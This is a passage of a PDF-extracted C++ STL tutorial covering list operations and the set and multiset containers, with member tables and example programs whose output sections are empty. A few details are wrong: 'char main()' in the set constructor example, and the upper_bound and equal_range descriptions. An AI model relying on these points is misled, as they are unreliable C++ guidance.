li4Iter++;
li4Iter++;
li4Iter++;
li4Iter++;
list <int> li5(li4.begin(), li4Iter);

//Create a list li6 by copying the range of li4[_First, _Last) and with
//the allocator of list li2
li4Iter = li4.begin();
li4Iter++;
li4Iter++;
li4Iter++;
list <int> li6(li4.begin(), li4Iter, li2.get_allocator());

//----------------------------------------------------
cout<<"Operation: list <int> li0\n";
cout<<"li0 data: ";
for(li0Iter = li0.begin(); li0Iter != li0.end(); li0Iter++)
cout<<" "<<*li0Iter;
cout<<endl;

cout<<"\nOperation: list <int> li1(10)\n";


cout<<"li1 data: ";
for(li1Iter = li1.begin(); li1Iter != li1.end(); li1Iter++)
cout<<" "<<*li1Iter;
cout<<endl;

cout<<"\nOperation: list <int> li2(8, 7)\n";


cout<<"li2 data: ";
for(li2Iter = li2.begin(); li2Iter != li2.end(); li2Iter++)
cout<<" "<<*li2Iter;
cout<<endl;

cout<<"\nOperation: list <int> li3(9, 8, li2.get_allocator())\n";


cout<<"li3 data: ";
for(li3Iter = li3.begin(); li3Iter != li3.end(); li3Iter++)
cout<<" "<<*li3Iter;
cout<<endl;

cout<<"\nOperation: list <int> li4(li2);\n";


cout<<"li4 data: ";
for(li4Iter = li4.begin(); li4Iter != li4.end(); li4Iter++)
cout<<" "<<*li4Iter;
cout<<endl;

cout<<"\nOperation1: li4Iter = li4.begin(), li4Iter++...\n";


cout<<"Operation2: list <int> li5(li4.begin(), li4Iter)\n";
cout<<"li5 data: ";
for(li5Iter = li5.begin(); li5Iter != li5.end(); li5Iter++)
cout<<" "<<*li5Iter;
cout<<endl;

cout<<"\nOperation1: li4Iter = li4.begin(), li4Iter++...\n";


cout<<"Operation2: list <int> li6(li4.begin(), li4Iter,\n"
" li2.get_allocator())\n";
cout<<"li6 data: ";
for(li6Iter = li6.begin(); li6Iter != li6.end(); li6Iter++)
cout<<" "<<*li6Iter;

www.tenouk.com Page 4 of 29
cout<<endl;
return 0;
}

Output:

- The return value is the first insert() function returns an iterator that point to the position where the
new element was inserted into the list.
- Any insertion operation can be expensive in term of time and resource.

//list, insert()
#include <list>
#include <iostream>
using namespace std;

int main()
{
list <int> lis1, lis2;
list <int>::iterator Iter;

lis1.push_back(13);
lis1.push_back(22);
lis1.push_back(15);
lis2.push_back(9);
lis2.push_back(5);
lis2.push_back(45);

cout<<"lis1 data: ";


for(Iter = lis1.begin(); Iter != lis1.end(); Iter++)
cout<<" "<<*Iter;
cout<<endl;

cout<<"lis2 data: ";


for(Iter = lis2.begin(); Iter != lis2.end(); Iter++)
cout<<" "<<*Iter;
cout<<endl;

cout<<"\nOperation1: lis1.begin() then Iter++...\n";


cout<<"Operation2: lis1.insert(Iter, 55)\n";
Iter = lis1.begin();
Iter++;
lis1.insert(Iter, 55);
cout<<"lis1 data: ";
for(Iter = lis1.begin(); Iter != lis1.end(); Iter++)
cout<<" "<<*Iter;
cout<<endl;

cout<<"\nOperation1: lis1.begin() then Iter++...\n";


cout<<"Operation2: lis1.insert(Iter, 3, 30)\n";

www.tenouk.com Page 5 of 29
Iter = lis1.begin();
Iter++;
Iter++;
lis1.insert(Iter, 3, 30);

cout<<"lis1 data: ";


for(Iter = lis1.begin(); Iter != lis1.end(); Iter++)
cout<<" "<<*Iter;
cout<<endl;

cout<<"\nOperation2: lis1.insert(++lis1.begin(),\n"
" lis2.begin(),--lis2.end())\n";
lis1.insert(++lis1.begin(), lis2.begin(),--lis2.end());
cout<<"lis1 data: ";
for(Iter = lis1.begin(); Iter != lis1.end(); Iter++)
cout<<" "<<*Iter;
cout<<endl;
return 0;
}

Output:

- The order of the elements remaining is not affected.

//list, remove()
#include <list>
#include <iostream>
using namespace std;

int main( )
{
list <int> lis1;
list <int>::iterator lis1Iter, lis2Iter;

lis1.push_back(7);
lis1.push_back(12);
lis1.push_back(25);
lis1.push_back(7);
lis1.push_back(9);
lis1.push_back(7);
lis1.push_back(21);

cout<<"The initial lis1 data is: ";


for(lis1Iter = lis1.begin(); lis1Iter != lis1.end(); lis1Iter++)
cout<<" "<<*lis1Iter;
cout<<endl;

cout<<"\nOperation1: list <int> lis2 = lis1\n";


cout<<"Operation2: lis2.remove(7)\n";
list <int> lis2 = lis1;
lis2.remove(7);
cout<<"Removing elements of value 7, \nthe list data, lis2 is: ";
for(lis2Iter = lis2.begin(); lis2Iter != lis2.end(); lis2Iter++)
cout<<" "<<*lis2Iter;
cout<<endl;
return 0;
}

www.tenouk.com Page 6 of 29
Output:

- The first member function puts the elements in ascending order by default.
- The member template function orders the elements according to the user-specified comparison
operation _Comp of class Traits.

//list, sort()
#include <list>
#include <iostream>
using namespace std;

int main()
{
list <int> ls1;
list <int>::iterator ls1Iter;

ls1.push_back(31);
ls1.push_back(12);
ls1.push_back(40);
ls1.push_back(15);
ls1.push_back(9);
ls1.push_back(44);

cout<<"Before sorting, ls1 data: ";


for(ls1Iter = ls1.begin(); ls1Iter != ls1.end(); ls1Iter++)
cout<<" "<<*ls1Iter;
cout<<endl;

cout<<"\nOperation: ls1.sort()\n";
ls1.sort();
cout<<"After sorting, ls1 data: ";
for(ls1Iter = ls1.begin(); ls1Iter != ls1.end(); ls1Iter++)
cout<<" "<<*ls1Iter;
cout<<endl;

cout<<"\nOperation: ls1.sort(greater<int>())\n";
ls1.sort(greater<int>());
cout<<"Re sort with 'greater than' operation,\nls1 =";
for(ls1Iter = ls1.begin(); ls1Iter != ls1.end(); ls1Iter++)
cout<<" "<<*ls1Iter;
cout<<endl;
return 0;
}

Output:

//list, splice()
#include <list>
#include <iostream>
using namespace std;

www.tenouk.com Page 7 of 29
int main( )
{
list <int> ls1, ls2, ls3, ls4;
list <int>::iterator ls1Iter, ls2Iter, ls3Iter, ls4Iter, PIter, QIter, RIter;

ls1.push_back(7);
ls1.push_back(15);
ls2.push_back(9);
ls2.push_back(22);
ls2.push_back(12);
ls3.push_back(29);
ls3.push_back(30);
ls4.push_back(33);
ls4.push_back(25);
ls4.push_back(51);

cout<<"ls1 data: ";


for(ls1Iter = ls1.begin(); ls1Iter != ls1.end(); ls1Iter++)
cout<<" "<<*ls1Iter;
cout<<endl;

cout<<"ls2 data: ";


for(ls2Iter = ls2.begin(); ls2Iter != ls2.end(); ls2Iter++)
cout<<" "<<*ls2Iter;
cout<<endl;

cout<<"ls3 data: ";


for(ls3Iter = ls3.begin(); ls3Iter != ls3.end(); ls3Iter++)
cout<<" "<<*ls3Iter;
cout<<endl;

cout<<"ls4 data: ";


for(ls4Iter = ls4.begin(); ls4Iter != ls4.end(); ls4Iter++)
cout<<" "<<*ls4Iter;
cout<<endl;

cout<<"\nOperation: ls2.splice(PIter, ls1)\n";


PIter = ls2.begin();
PIter++;
ls2.splice(PIter, ls1);
cout<<"ls2 data, after splicing \nls1 into ls2: ";
for(ls2Iter = ls2.begin(); ls2Iter != ls2.end(); ls2Iter++)
cout<<" "<<*ls2Iter;
cout<<endl;

cout<<"\nOperation: ls2.splice(PIter, ls3, QIter)\n";


QIter = ls3.begin();
ls2.splice(PIter, ls3, QIter);
cout<<"ls2 data, after splicing the first \nelement of ls3 into ls2: ";
for(ls2Iter = ls2.begin(); ls2Iter != ls2.end(); ls2Iter++)
cout<<" "<<*ls2Iter;
cout<<endl;

cout<<"\nOperation: ls2.splice(PIter, ls4, QIter, RIter)\n";


QIter = ls4.begin();
RIter = ls4.end();
RIter--;
ls2.splice(PIter, ls4, QIter, RIter);
cout<<"ls2 data, after splicing a range \nof ls4 into ls2: ";
for(ls2Iter = ls2.begin(); ls2Iter != ls2.end(); ls2Iter++)
cout<<" "<<*ls2Iter;
cout<<endl;
return 0;
}

Output:

www.tenouk.com Page 8 of 29
- This function assumes that the list is sorted, so that all duplicate elements are adjacent. Duplicates that
are not adjacent will not be deleted.
- The first member function removes every element that compares equal to its preceding element.
- The second member function removes every element that satisfies the predicate function when
compared with its preceding element.

//list, unique()
#include <list>
#include <iostream>
using namespace std;

int main()
{
list <int> ls1;
list <int>::iterator ls1Iter, ls2Iter, ls3Iter;
not_equal_to<int> mypred;

ls1.push_back(-12);
ls1.push_back(12);
ls1.push_back(12);
ls1.push_back(22);
ls1.push_back(22);
ls1.push_back(13);
ls1.push_back(-12);
ls1.push_back(14);

cout<<"ls1 data, the initial list:\n";


for(ls1Iter = ls1.begin(); ls1Iter != ls1.end(); ls1Iter++)
cout<<" "<<*ls1Iter;
cout<<endl;

cout<<"\nOperation1: list <int> ls2 = ls1\n";


cout<<"Operation2: ls2.unique()\n";
list <int> ls2 = ls1;
ls2.unique();
cout<<"ls2 data, after removing successive duplicate\nelements: ";
for(ls2Iter = ls2.begin(); ls2Iter != ls2.end(); ls2Iter++)
cout<<" "<<*ls2Iter;
cout<<endl;

cout<<"\nOperation1: list <int> ls3 = ls2\n";


cout<<"Operation2: ls3.unique(mypred)\n";
list <int> ls3 = ls2;
ls3.unique(mypred);
cout<<"ls3 data, after removing successive unequal\nelements: ";
for(ls3Iter = ls3.begin(); ls3Iter != ls3.end(); ls3Iter++)
cout<<" "<<*ls3Iter;
cout<<endl;
return 0;
}

Output:

www.tenouk.com Page 9 of 29
---------------------------------------------------End of list---------------------------------------------
---www.tenouk.com---

Further reading and digging:

1. Check the best selling C / C++ and STL books at Amazon.com.

28.3 Associative Containers

- Associative containers sort their elements automatically according to a certain ordering criterion.
- This criterion takes the form of a function that compares either the value or a special key that is
defined for the value.
- By default, the containers compare the elements or the keys with operator less than (<). However, you
can supply your own comparison function to define another ordering criterion.
- Associative containers are typically implemented as binary trees. Thus, every element (every node)
has one parent and two children. All ancestors to the left have lesser values; all ancestors to the right
have greater values. It can be depicted as follow:

- The associative containers differ in the kind of elements they support and how they handle
duplicates. The following is discussion of the associative containers that are predefined in the STL.
- All of the associative container classes have an optional template argument for the sorting criterion.
The default sorting criterion is the operator < (les than).
- The sorting criterion is also used as the test for equality; that is, two elements are equal if neither is less
than the other.
- You can consider a set as a special kind of map, in which the value is identical to the key. In fact, all of
these associative container types are usually implemented by using the same basic implementation of a
binary tree.
- The choice of container type should be based in general on the type of searching and inserting required
by the application.
- Associative containers are optimized for the operations of lookup, insertion and removal. The member
functions that explicitly support these operations are efficient, performing them in a time that is on
average proportional to the logarithm of the number of elements in the container.
- Inserting elements invalidates no iterators, and removing elements invalidates only those iterators that
had specifically pointed at the removed elements.

www.tenouk.com Page 10 of 29
28.4 Sets

- A set is a collection in which elements are sorted according to their own values. Each element may
occur only once, thus duplicates are not allowed. Its structure can be depicted as shown below.

28.5 <set> Header Members

Operators

Operator Description
Tests if the set or multiset object on the left side of the operator is not equal to the
operator!=
set or multiset object on the right side.
Tests if the set or multiset object on the left side of the operator is less than the set
operator<
or multiset object on the right side.
Tests if the set or multiset object on the left side of the operator is less than or equal
operator<=
to the set or multiset object on the right side.
Tests if the set or multiset object on the left side of the operator is equal to the set
operator==
or multiset object on the right side.
Tests if the set or multiset object on the left side of the operator is greater than the
operator>
set or multiset object on the right side.
Tests if the set or multiset object on the left side of the operator is greater than or
operator>=
equal to the set or multiset object on the right side.

Table 28.5

set Specialized Template Functions

Specialized
template Description
function
swap() Exchanges the elements of two sets or multisets.

Table 28.6

set Class Templates

Class Description
Used for the storage and retrieval of data from a collection in which the values of
set Class the elements contained are unique and serve as the key values according to which
the data is automatically ordered.
Used for the storage and retrieval of data from a collection in which the values of
multiset
the elements contained need not be unique and in which they serve as the key
Class
values according to which the data is automatically ordered.

Table 28.7

set Class Template Members

Typedefs

Typedef Description
allocator_type A type that represents the allocator class for the set object.
A type that provides a bidirectional iterator that can read a const element
const_iterator
in the set.
const_pointer A type that provides a pointer to a const element in a set.

www.tenouk.com Page 11 of 29
A type that provides a reference to a const element stored in a set for
const_reference
reading and performing const operations.
A type that provides a bidirectional iterator that can read any const
const_reverse_iterator
element in the set.
A signed integer type that can be used to represent the number of elements
difference_type
of a set in a range between elements pointed to by iterators.
A type that provides a bidirectional iterator that can read or modify any
iterator
element in a set.
A type that provides a function object that can compare two sort keys to
key_compare
determine the relative order of two elements in the set.
The type describes an object stored as an element of a set in its capacity as
key_type
sort key.
pointer A type that provides a pointer to an element in a set.
reference A type that provides a reference to an element stored in a set.
A type that provides a bidirectional iterator that can read or modify an
reverse_iterator
element in a reversed set.
An unsigned integer type that can represent the number of elements in a
size_type
set.
The type that provides a function object that can compare two elements to
value_compare
determine their relative order in the set.
The type describes an object stored as an element of a set in its capacity as
value_type
a value.

Table 28.8

set Class Template Member Functions

Member function Description


begin() Returns an iterator that addresses the first element in the set.
clear() Erases all the elements of a set.
Returns the number of elements in a set whose key matches a parameter-
count()
specified key.
empty() Tests if a set is empty.
Returns an iterator that addresses the location succeeding the last element in a
end()
set.
Returns a pair of iterators respectively to the first element in a set with a key
equal_range() that is greater than a specified key and to the first element in the set with a key
that is equal to or greater than the key.
Removes an element or a range of elements in a set from specified positions or
erase()
removes elements that match a specified key.
Returns an iterator addressing the location of an element in a set that has a key
find()
equivalent to a specified key.
get_allocator() Returns a copy of the allocator object used to construct the set.
insert() Inserts an element or a range of elements into a set.
key_comp() Retrieves a copy of the comparison object used to order keys in a set.
Returns an iterator to the first element in a set with a key that is equal to or
lower_bound()
greater than a specified key.
max_size() Returns the maximum length of the set.
rbegin() Returns an iterator addressing the first element in a reversed set.
Returns an iterator that addresses the location succeeding the last element in a
rend()
reversed set.
set constructor, constructs a set that is empty or that is a copy of all or part of
set()
some other set.
size() Returns the number of elements in the set.
swap() Exchanges the elements of two sets.
Returns an iterator to the first element in a set that with a key that is equal to or
upper_bound()
greater than a specified key.
value_comp() Retrieves a copy of the comparison object used to order element values in a set.

Table 28.9

- The STL container class set is used for the storage and retrieval of data from a collection in which the
values of the elements contained are unique and serve as the key values according to which the data is
automatically ordered.

www.tenouk.com Page 12 of 29
- The value of an element in a set may not be changed directly. Instead, you must delete old values and
insert elements with new values.

template <
class Key,
class Traits = less<Key>,
class Allocator = allocator<Key>
>

Parameters

Parameter Description
Key The element data type to be stored in the set.
The type that provides a function object that can compare two element values as sort keys to
Traits
determine their relative order in the set. This argument is optional, and the binary predicate
less <Key> is the default value.
The type that represents the stored allocator object that encapsulates details about the set's
Allocator
allocation and de-allocation of memory. This argument is optional, and the default value is
allocator<Key>.

Table 28.10

- An STL set is:

▪ An associative container, which a variable size container that supports the efficient retrieval of
element values based on an associated key value. It is a simple associative container because its
element values are its key values.
▪ Reversible, because it provides a bidirectional iterator to access its elements.
▪ Sorted, because its elements are ordered by key values within the container in accordance with a
specified comparison function.
▪ Unique in the sense that each of its elements must have a unique key. Since set is also a simple
associative container, its elements are also unique.

- A set is also described as a template class because the functionality it provides is generic and
independent of the specific type of data contained as elements. The data type to be used is, instead,
specified as a parameter in the class template along with the comparison function and allocator.
- The elements of a set are unique and serve as their own sort keys. This type of structure is an ordered
list of, say, words in which the words may occur only once.
- If multiple occurrences of the words were allowed, then a multiset would be the appropriate container
structure.
- If unique definitions were attached as values to the list of key words, then a map would be an
appropriate structure to contain this data. If instead the definitions were not unique, then a multimap
would be the container of choice.
- The set orders the sequence it controls by calling a stored function object of type key_compare. This
stored object is a comparison function that may be accessed by calling the member function
key_comp.
- In general, the elements need to be merely less than comparable to establish this order so that, given
any two elements, it may be determined either that they are equivalent (in the sense that neither is less
than the other) or that one is less than the other. This results in an ordering between the nonequivalent
elements.
- The iterator provided by the set class is a bidirectional iterator, but the class member functions
insert() and set() have versions that take as template parameters a weaker input iterator, whose
functionality requirements are more minimal than those guaranteed by the class of bidirectional
iterators.
- The different iterator concepts form a family related by refinements in their functionality. Each iterator
concept has its own set of requirements, and the algorithms that work with them must limit their
assumptions to the requirements provided by that type of iterator.
- It may be assumed that an input iterator may be dereferenced to refer to some object and that it may be
incremented to the next iterator in the sequence.
- This is a minimal set of functionality, but it is enough to be able to talk meaningfully about a range of
iterators [_First, _Last) in the context of the class's member functions.

set Constructor

www.tenouk.com Page 13 of 29
- Constructs a set that is empty or that is a copy of all or part of some other set. The following is a code
for set constructor set::set. It is provided here for parameters terminologies reference and will not
be repeated for other associative containers.

set( );
explicit set(
const Traits& _Comp
);
explicit set(
const Traits& _Comp,
const Allocator& _Al
);
set(
const _set& _Right
);
template<class InputIterator>
set(
InputIterator _First,
InputIterator _Last
);
template<class InputIterator>
set(
InputIterator _First,
InputIterator _Last,
const Traits& _Comp
);
template<class InputIterator>
set(
InputIterator _First,
InputIterator _Last,
const Traits& _Comp,
const Allocator& _Al
);

Parameters

Parameter Description
_Al The storage allocator class to be used for this set object, which defaults to Allocator.
_Comp The comparison function of type const Traits used to order the elements in the set,
which defaults to Compare.
_Right The set of which the constructed set is to be a copy.
_First The position of the first element in the range of elements to be copied.
_Last The position of the first element beyond the range of elements to be copied.

Table 28.11

- All constructors store a type of allocator object that manages memory storage for the set and that can
later be returned by calling get_allocator(). The allocator parameter is often omitted in the class
declarations and preprocessing macros used to substitute alternative allocators.
- All constructors initialize their sets.
- All constructors store a function object of type Traits that is used to establish an order among the
keys of the set and that can later be returned by calling key_comp().
- The first three constructors specify an empty initial set, the second specifying the type of comparison
function (_Comp) to be used in establishing the order of the elements and the third explicitly
specifying the allocator type (_Al) to be used.
- The keyword explicit suppresses certain kinds of automatic type conversion.
- The fourth constructor specifies a copy of the set _Right.
- The last three constructors copy the range [_First, _Last) of a set with increasing explicitness in
specifying the type of comparison function of class Traits and Allocator.

Note:

- You will find somewhere sometime in STL the half-open ranges format as shown below.

[begin, end) or [begin, end[

- The range is defined so that it includes the position used as the beginning of the range but excludes the
position used as the end. It can be illustrated below:

www.tenouk.com Page 14 of 29
- From the illustration, begin() and end() define a half-open range that includes the first element but
excludes the last. A half-open range has two advantages:

1. You have a simple end criterion for loops that iterate over the elements, they simply continue
as long as end() is not reached.
2. It avoids special handling for empty ranges. For empty ranges, begin() is equal to end().

//set, constructor
#include <set>
#include <iostream>
using namespace std;

char main()
{
set <char>::iterator st0_Iter, st1_Iter, st2_Iter, st3_Iter, st4_Iter, st5_Iter, st6_Iter;

//Create an empty set st0 of key type char


set <char> st0;

//Create an empty set st1 with the key comparison


//function of less than, then insert 6 elements
set <char, less<char> > st1;
st1.insert('p');
st1.insert('e');
st1.insert('g');
st1.insert('P');
st1.insert('y');
st1.insert('b');

//Create an empty set st2 with the key comparison


//function of greater than, then insert 2 elements
set <char, greater<char> > st2;
st2.insert('f');
st2.insert('k');

//Create a set st3 with the


//allocator of set st1
set <char>::allocator_type st1_Alloc;
st1_Alloc = st1.get_allocator();
set <char> st3(less<char>(), st1_Alloc);
st3.insert('u');
st3.insert('U');

//set st4, a copy of set st1


set <char> st4(st1);

//Create a set st5 by copying the range st1[_First, _Last)


set <char>::const_iterator st1_PIter, st1_QIter;
st1_PIter = st1.begin();
st1_QIter = st1.begin();
st1_QIter++;
st1_QIter++;
st1_QIter++;
set <char> st5(st1_PIter, st1_QIter);

//Create a set st6 by copying the range st4[_First, _Last)


//and with the allocator of set st2
set <char>::allocator_type st2_Alloc;
st2_Alloc = st2.get_allocator();
set <char> st6(st4.begin(), ++st4.begin(), less<char>(), st2_Alloc);

//------------------------------------------------
cout<<"Operation: set <char> st0\n";
cout<<"st0 data: ";
for(st0_Iter = st0.begin(); st0_Iter != st0.end(); st0_Iter++)
cout<<" "<<*st0_Iter;
cout<<endl;

www.tenouk.com Page 15 of 29
cout<<"\nOperation1: set <char, less<char> > st1\n";
cout<<"Operation2: st1.insert('p')...\n";
cout<<"st1 data: ";
for(st1_Iter = st1.begin(); st1_Iter != st1.end(); st1_Iter++)
cout<<" "<<*st1_Iter;
cout<<endl;

cout<<"\nOperation1: set <char, greater<char> > st2\n";


cout<<"Operation2: st2.insert('f')...\n";
cout<<"st2 data: "<<*st2.begin()<<" "<<*++st2.begin()<<endl;

cout<<"\nOperation1: set <char> st3(less<char>(), st1_Alloc)\n";


cout<<"Operation2: st3.insert('u')\n";
cout<<"st3 data: ";
for(st3_Iter = st3.begin(); st3_Iter != st3.end(); st3_Iter++)
cout<<" "<<*st3_Iter;
cout<<endl;

cout<<"\nOperation: set <char> st4(st1)\n";


cout<<"st4 data: ";
for(st4_Iter = st4.begin(); st4_Iter != st4.end(); st4_Iter++)
cout<<" "<<*st4_Iter;
cout<<endl;

cout<<"\nOperation: set <char> st5(st1_PIter, st1_QIter)\n";


cout<<"st5 data: ";
for(st5_Iter = st5.begin(); st5_Iter != st5.end(); st5_Iter++)
cout<<" "<<*st5_Iter;
cout<<endl;

cout<<"\nOperation: set <char> st6(st4.begin(), \n++st4.begin(), less<char>(),


st2_Alloc)\n";
cout<<"st6 data: ";
for(st6_Iter = st6.begin(); st6_Iter != st6.end(); st6_Iter++)
cout<<" "<<*st6_Iter;
cout<<endl;
return 0;
}

Output:

- The return value is 1 if the set contains an element whose sort key matches the parameter key. 0 if the
set does not contain an element with a matching key.
- The member function returns the number of elements in the following range:

[lower_bound (_Key), upper_bound (_Key)).

//set, count()

www.tenouk.com Page 16 of 29
//some warning during the compilation
#include <set>
#include <iostream>
using namespace std;

int main()
{
set <int> st1;
int i;

st1.insert(1);
st1.insert(2);
st1.insert(1);

//Keys must be unique in set, duplicates are ignored


i = st1.count(1);
cout<<"The number of elements in st1 with a sort key of 1 is: "<<i<<endl;

i = st1.count(2);
cout<<"The number of elements in st1 with a sort key of 2 is: "<<i<<endl;

i = st1.count(3);
cout<<"The number of elements in st1 with a sort key of 3 is: "<<i<<endl;

return 0;
}

Output:

- The return value is a pair of iterators where the first is the lower_bound of the key and the second is the
upper_bound of the key.
- To access the first iterator of a pair pr returned by the member function, use pr.first, and to
dereference the lower bound iterator, use *(pr.first).
- To access the second iterator of a pair pr returned by the member function, use pr.second, and to
dereference the upper bound iterator, use *(pr.second).

//set, equal_range()
//some warning during compilation
#include <set>
#include <iostream>
using namespace std;

int main()
{
typedef set<int, less<int> > IntSet;
IntSet st1;
set <int>::iterator st1Iter;
set <int, less< int > > :: const_iterator st1_RcIter;

st1.insert(10);
st1.insert(20);
st1.insert(30);
st1.insert(40);
st1.insert(50);

cout<<"st1 data: ";


for(st1Iter = st1.begin(); st1Iter != st1.end(); st1Iter++)
cout<<" "<<*st1Iter;
cout<<endl;

pair <IntSet::const_iterator, IntSet::const_iterator> p1, p2;


p1 = st1.equal_range(30);

cout<<"\nThe upper bound of the element with\n"


<<"a key of 30 in the set st1 is: "
<<*(p1.second)<<endl;

cout<<"\nThe lower bound of the element with\n"

www.tenouk.com Page 17 of 29
<<"a key of 30 in the set st1 is: "
<<*(p1.first)<<endl;

//Compare the upper_bound called directly


st1_RcIter = st1.upper_bound(30);
cout<<"\nA direct call of upper_bound(30) gives "
<<*st1_RcIter<<" matching\nthe 2nd element of the pair"
<<" returned by equal_range(30)."<<endl;

cout<<"\nOperation: p2 = st1.equal_range(60)\n";
p2 = st1.equal_range(60);

//If no match is found for the key,


//both elements of the pair return end()
if ((p2.first == st1.end()) && (p2.second == st1.end()))
cout<<"\nThe set st1 doesn't have an element\n"
<<"with a key less than 60."<<endl;
else
cout<<"The element of set st1 with a key >= 60 is: "
<<*(p1.first)<<endl;
return 0;
}

Output:

- The return value is the function object that a set uses to order its elements, which is the template
parameter Traits.
- The stored object defines the member function:

bool operator()(const Key& _xVal, const Key& _yVal);

- Which returns true if _xVal precedes and is not equal to _yVal in the sort order.
- Note that both key_compare and value_compare are synonyms for the template parameter
Traits.
- Both types are provided for the set and multiset classes, where they are identical, for compatibility with
the map and multimap classes, where they are distinct.

//set, key_comp()
#include <set>
#include <iostream>
using namespace std;

int main()
{
set <int, less<int> > st1;
set<int, less<int> >::key_compare kc1 = st1.key_comp();
bool res1 = kc1(3, 7);
if(res1 == true)
{
cout<<"kc1(3,7) returns value of true, "
<<"where kc1\nis the function object of st1."
<<endl;
}
else
{

www.tenouk.com Page 18 of 29
cout<<"kc1(3,7) returns value of false "
<<"where kc1\nis the function object of st1."
<<endl;
}

set <int, greater<int> > st2;


set<int, greater<int> >::key_compare kc2 = st2.key_comp();
bool res2 = kc2(3, 7);
if(res2 == true)
{
cout<<"kc2(3,7) returns value of true, "
<<"where kc2\nis the function object of st2."
<<endl;
}
else
{
cout<<"kc2(3,7) returns value of false, "
<<"where kc2\nis the function object of st2."
<<endl;
}
return 0;
}

Output:

- The return value is an iterator or const_iterator that addresses the location of an element in a set
that with a key that is equal to or greater than the argument key or that addresses the location
succeeding the last element in the set if no match is found for the key.

//set, lower_bound()
#include <set>
#include <iostream>
using namespace std;

int main( )
{
set <int> st1;
set <int> :: const_iterator st1Iter, st1_PIter, st1_QIter;

st1.insert(11);
st1.insert(21);
st1.insert(30);
st1.insert(10);
st1.insert(22);

cout<<"st1 data: ";


for(st1Iter = st1.begin(); st1Iter != st1.end(); st1Iter++)
cout<<" "<<*st1Iter;
cout<<endl;

st1_QIter = st1.lower_bound(21);
cout<<"The element of set st1 with a key of 21 is: "
<<*st1_QIter<<endl;

st1_QIter = st1.lower_bound(60);

//If no match is found for the key, end() is returned


if(st1_QIter == st1.end())
cout<<"The set st1 doesn't have an element "
<<"with a key of 60."<<endl;
else
cout<<"The element of set st1 with a key of 60 is: "
<<*st1_QIter<<endl;

//The element at a specific location in the set can be found


//by using a dereferenced iterator that addresses the location
st1_PIter = st1.end();
st1_PIter--;

www.tenouk.com Page 19 of 29
st1_QIter = st1.lower_bound(*st1_PIter);
cout<<"The element of st1 with a key matching "
<<"that\nof the last element is: "
<<*st1_QIter<<endl;
return 0;
}

Output:

- Return value is an iterator or const_iterator that addresses the location of an element in a


set that with a key that is equal to or greater than the argument key, or that addresses the location
succeeding the last element in the set if no match is found for the key.

//set, upper_bound()
#include <set>
#include <iostream>
using namespace std;

int main()
{
set <int> st1;
set <int> :: const_iterator st1Iter, st1PIter, st1QIter;

st1.insert(9);
st1.insert(12);
st1.insert(20);
st1.insert(13);
st1.insert(11);

cout<<"st1 data: ";


for(st1Iter = st1.begin(); st1Iter != st1.end(); st1Iter++)
cout<<" "<<*st1Iter;
cout<<endl;

st1QIter = st1.upper_bound(9);
cout<<"The first element of set st1 with a key greater "
<<"than 9 is: "<<*st1QIter<<endl;

st1QIter = st1.upper_bound(22);

//If no match is found for the key, end( ) is returned


if(st1QIter == st1.end())
cout<<"The set st1 doesn't have an element "
<<"with a key greater than 22."<<endl;
else
cout<<"The element of set st1 with a key > 22 is: "
<<*st1QIter<<endl;

//The element at a specific location in the set can be found


//by using a dereferenced iterator addressing the location
st1PIter = st1.begin();
st1QIter = st1.upper_bound(*st1PIter);
cout<<"The first element of st1 with a key greater than\n"
<<"that of the initial element of st1 is: "
<<*st1QIter<<endl;
return 0;
}

Output:

www.tenouk.com Page 20 of 29
- The return value is a function object that a set uses to order its elements, which is the template
parameter Traits.
- The stored object defines the member function:

bool operator(const Key& _xVal, const Key& _yVal);

- Which returns true if _xVal precedes and is not equal to _yVal in the sort order.
- Note that both value_compare and key_compare are synonyms for the template parameter
Traits. Both types are provided for the set and multiset classes, where they are identical, for
compatibility with the map and multimap classes, where they are distinct.

//set, value_comp()
#include <set>
#include <iostream>
using namespace std;

int main()
{
set <int, less<int> > st1;
set <int, less<int> >::value_compare vcom1 = st1.value_comp();
bool result1 = vcom1(5, 9);
if(result1 == true)
{
cout<<"vcom1(5,9) returns value of true, "
<<"\nwhere vcom1 is the function object of st1."
<<endl;
}
else
{
cout<<"vcom1(5,9) returns value of false, "
<<"\nwhere vcom1 is the function object of st1."
<<endl;
}

set <int, greater<int> > st2;


set<int, greater<int> >::value_compare vcom2 = st2.value_comp();
bool result2 = vcom2(5, 9);
if(result2 == true)
{
cout<<"vcom2(5,9) returns value of true, "
<<"\n0where vcom2 is the function object of st2."
<<endl;
}
else
{
cout<<"vcom2(5,9) returns value of false, "
<<"\nwhere vcom2 is the function object of st2."
<<endl;
}
return 0;
}

Output:

Note:

www.tenouk.com Page 21 of 29
- For other associative containers, program examples as shown before will not be presented again, except
the containers constructor, because they are similar.
- You can try on your own by using the same previous program examples, replace the containers and
keep other codes as it is. Recompile and re run. Start using your own brain and creativity. Be creative
:o).

-------------------------------------------End of set--------------------------------------
---www.tenouk.com---

1. Check the best selling C / C++ and STL books at Amazon.com.

28.6 Multiset

- A multiset is the same as a set except that duplicates are allowed. Thus, a multiset may contain
multiple elements that have the same value. It can be depicted as follows:

- The elements of a multiset may be multiple and serve as their own sort keys, so keys are not unique.
If the definitions were not unique, then a multimap would be the container of choice.
- The multiset orders the sequence it controls by calling a stored function object of type Compare. This
stored object is a comparison function that may be accessed by calling the member function
key_comp().
- The iterator provided by the multiset class is a bidirectional iterator.

multiset Members

multiset Typedefs

Typedef Description
allocator_type A type that represents the allocator class for the multiset object.
A type that provides a bidirectional iterator that can read a const element in
const_iterator
the multiset.
const_pointer A type that provides a pointer to a const element in a multiset.
A type that provides a reference to a const element stored in a multiset for
const_reference
reading and performing const operations.
A type that provides a bidirectional iterator that can read any const element
const_reverse_iterator
in the multiset.
A signed integer type that can be used to represent the number of elements
difference_type
of a multiset in a range between elements pointed to by iterators.
A type that provides a bidirectional iterator that can read or modify any
iterator
element in a multiset.
A type that provides a function object that can compare two keys to
key_compare
determine the relative order of two elements in the multiset.
A type that provides a function object that can compare two sort keys to
key_type
determine the relative order of two elements in the multiset.
pointer A type that provides a pointer to an element in a multiset.
reference A type that provides a reference to an element stored in a multiset.
A type that provides a bidirectional iterator that can read or modify an
reverse_iterator
element in a reversed multiset.
An unsigned integer type that can represent the number of elements in a
size_type
multiset.
The type that provides a function object that can compare two elements as
value_compare
sort keys to determine their relative order in the multiset.
value_type A type that describes an object stored as an element as a multiset in its

www.tenouk.com Page 22 of 29
capacity as a value.

Table 28.12

multiset Member Functions

Member function Description


begin() Returns an iterator addressing the first element in the multiset.
clear() Erases all the elements of a multiset.
Returns the number of elements in a multiset whose key matches a parameter-specified
count()
key.
